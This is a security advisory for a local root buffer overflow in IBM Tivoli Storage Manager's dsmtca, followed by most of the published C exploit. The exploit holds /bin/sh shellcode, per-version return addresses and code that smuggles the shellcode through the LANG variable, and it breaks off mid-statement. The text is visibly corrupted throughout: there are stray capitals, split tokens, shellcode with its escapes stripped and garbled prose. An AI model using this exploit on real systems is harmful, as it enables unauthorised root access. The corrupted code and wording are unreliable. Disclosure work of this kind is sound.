Http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmtca.txt
Http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmtca-exploit.c
============================================================== ========================================
IBM Tivoli Storage Manager (TSM) Local Root
Kryptos Logic, December 2010
============================================================== ========================================
===== [Timeline
Vendor Contacted ......:
Fix from Vendor ......
Advisory Published...
===== [Affected Versions
Vulnerable:
Ibm tsm 6.1: 6.1.0.0 through 6.1.3.0
Ibm tsm 5.5: 5.5.0.0 through 5.5.2.7
Ibm tsm 5.4: 5.4.0.0 through 5.4.3.3
Ibm tsm 5.3: 5.3.0.0 through 5.3.6.7
-Potentially older versions of ibm tsm dsmtca
Not vulnerable:
Ibm tsm 6.1.4
Ibm tsm 5.5.3
Ibm tsm 5.4.3.4
Ibm tsm 5.3.6.10
See IBM advisory IC65491 for details:
Http://www.ibm.com/support/docview.wss? Uid = swg21454745
===== [Vulnerability
When ibm tsm communicates with the suid root backup client
Dsmtca, it is handled through pipes. The function
GeneratePassword () does not perform boundary checking, which can
Lead to a classic stack based buffer overflow-making local
Code execution possible.
===== [Exploitation
The LANG environment variable gets copied to a fixed location in
Memory. An attacker can achieve arbitrary code execution
Placing his shellcode in the variable, and then overwrite
Return address of GeneratePassword () with the known address that
The value is copied.
===== [Credits
Discovered by Peter Wilhelmsen and Daniel Kalici, Kryptos Logic.
Exploit developed by Peter Wilhelmsen and Morten Shearman
Kirkegaard, Kryptos Logic.
===== [About Kryptos Logic
Kryptos Logic is a group of talented computer security experts
From und the globe that has coalesced into a highly valid tive
Team. We provide a wide range of security products ranging from
Binary analysis, instrusion management systems, anti-piracy, and
Digital rights management software. We also perform
State-of-the-art research on emerging attack vectors and threats
To current digital infrastructure.
Http://www.kryptoslogic.com/
Exploit:
/*
* IBM Tivoli Storage Manager 6.1-Local Root in DSMTCA GeneratePassword
* Copyright (C) 2009-2010 Kryptos Logic
*
* Bug discovered by Peter Wilhelmsen and Daniel Kalici.
* Exploit by Peter Wilhelmsen and Morten Shearman Kirkegaard.
*
* Http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmtca.txt
* Http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmtca-exploit.c
*/
# Include <stdio. h>
# Include <errno. h>
# Include <stdlib. h>
# Include <string. h>
# Include <unistd. h>
# Include <signal. h>
# Include <inttypes. h>
Char shellcode [] =
"X31xc0x31xdbx31xc9xb0x46xcdx80xebx1d"
"X5ex88x46x07x89x46x0cx89x76x08x89xf3"
"X8dx4ex08x8dx56x0cxb0x0bxcdx80x31xc0"
"X31xdbx40xcdx80xe8xdexffxffxff/bin/sh ";
Enum arguments {
TcaProgramPath,
TcaDebugStop,
TcaAlertString,
TcaPipe0,
TcaPipe1,
TcaPipe2,
TcaPipe3,
TcaPswdFileName,
TcaLang,
TcaErrorLog,
TcaDsDir,
TcaRequest,
TcaSessID,
TcaServerName,
TcaPasswordFile,
TcaPasswordDir,
TcaBuildData,
TcaBuildTime,
TcaCliType,
TcaTraceTrusted,
TcaClusterEnabl,
TcaCryptoType,
TcaTerminate,
TcaArgCount
};
/* Find the buflen (56 in this case) in GeneratePassword ().
*
*. Text: 0805B056 _ z16generatepasswordhiip12pswdfileinfopcs1_s1_s1 _ proc near
*...
*. Text: 0805B155 lea eax, [ebp-56]
*. Text: 0805B158 mov [esp + 4], eax; buf
*. Text: 0805B15C mov [esp], edi; fd
*. Text: 0805B15F call _ read
*
*
* Set the retaddr (0x083C7100 in this case) to the Locale export.
*
*. Data: 083C7100 Locale db 55 h dup (0); data xref:. got: Locale_ptro
*/
Struct {
Char * name;
Int buflen;
Uint32_t retaddr;
} Versions [] = {
{"5.5.1.4-linux-i386", 40, 0x0826E7E0 },
{"5.5.2.0-linux-i386", 40, 0x08278180 },
{"6.1.0.0-linux-i386", 56, 0x08356520 },
{"6.1.3.0-linux-i386", 56, 0x083C7100 },
{NULL}
};
Void SpawnTask (char * argv [])
{
Pid_t pid;
Signal (SIGCHLD, SIG_IGN );
Pid = fork ();
If (pid =-1 ){
Perror ("fork () failed ");
Exit (EXIT_FAILURE );
}
If (pid! = 0 ){
Return;
}
Signal (SIGINT, SIG_IGN );
Signal (SIGTERM, SIG_IGN );
Signal (SIGQUIT, SIG_IGN );
Signal (SIGPIPE, SIG_IGN );
Signal (SIGSEGV, SIG_IGN );
Signal (SIGXFSZ, SIG_IGN );
Signal (SIGTSTP, SIG_IGN );
Signal (SIGABRT, SIG_IGN );
Execv (argv [0], argv );
Perror ("execv () failed ");
Exit (EXIT_FAILURE );
}
Void exploit (int v)
{
Int pfd [2];
Int cfd [2];
Char p0 [16];
Char p1 [16];
Char p2 [16];
Char p3 [16];
Char buffer [64];
Uint8_t len;
Char * args [tcaArgCount];
Len = versions [v]. buflen + 8;
If (len> sizeof (buffer )){
Fprintf (stderr, "versions [% d]. buflen> % d ",
V, (int) sizeof (buffer ));
Exit (EXIT_FAILURE );
}
Setenv ("LANG", shellcode, strlen (shellcode ));
If (pipe (pfd) =-1) | (pipe (cfd) =-1 ))
{
Perror ("pipe () failed ");
Exit (EXIT_FAILURE );
}
Sprintf (p0, "% d", pfd [0]);
Sprintf (p1, "% d", pfd [1]);
Sprintf (p2, "% d", cfd [0]);
Sprintf (p3, "% d", cfd [1]);
Args [tcaProgramPath] = "/opt/tivoli/tsm/client/ba/bin/dsmtca ";
Args [tcaDebugStop] = "0 ";
Args [tcaAlertString] = "Chloroform Interrfacee ADSM Release 3 ";
Args [tcaPipe0] = p0;
Args [tcaPipe1